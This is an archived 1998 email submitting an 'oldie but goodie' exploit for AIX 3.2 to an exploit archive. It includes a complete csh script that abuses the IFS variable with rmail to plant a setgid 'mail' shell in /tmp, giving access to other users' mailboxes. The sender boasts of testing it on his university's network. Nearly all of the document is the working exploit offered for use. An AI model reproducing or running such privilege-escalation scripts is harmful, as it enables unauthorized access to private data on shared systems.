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Date: Sun, 10 May 1998 08:34:23 PDT From: [ CUT ] To: fyodor@dhp.com Subject: AIX oldie hi fyodor, first let met tell you that your pages are great - but you already know that, don't you? i noticed you have an exploit section sorted by os; here's an oldie but goodie for AIX boxes running 3.2, the exploit gives a gid of "mail" and therefore enables you to read the contents of /var/spool/mail etc. i successfully tested it under AIX 3.2.5 on my university's network, which really brought me into some trouble ;) i guess you probably know of this ancient IFS hole; just in case you wanted to include it into your pages ... cya & keep up the marvelous work, [cut] -----------snip------------ #!/bin/csh # IFS hole in AIX3.2 rmail gives egid=mail. # Setup needed files. mkdir /tmp/.rmail cd /tmp/.rmail cat <<EOF>usr cp sh mailsh chmod 2777 mailsh EOF chmod 777 usr ln -s /bin/sh . # Set PATH, IFS, and run rmail. setenv PATH .:$PATH setenv IFS / echo "cheezy mail hack" | rmail joeuser@nohost.com unsetenv IFS rm -f usr sh # minor cleanup. echo "Attempting to run sgid shell." ./mailsh -----------snip------------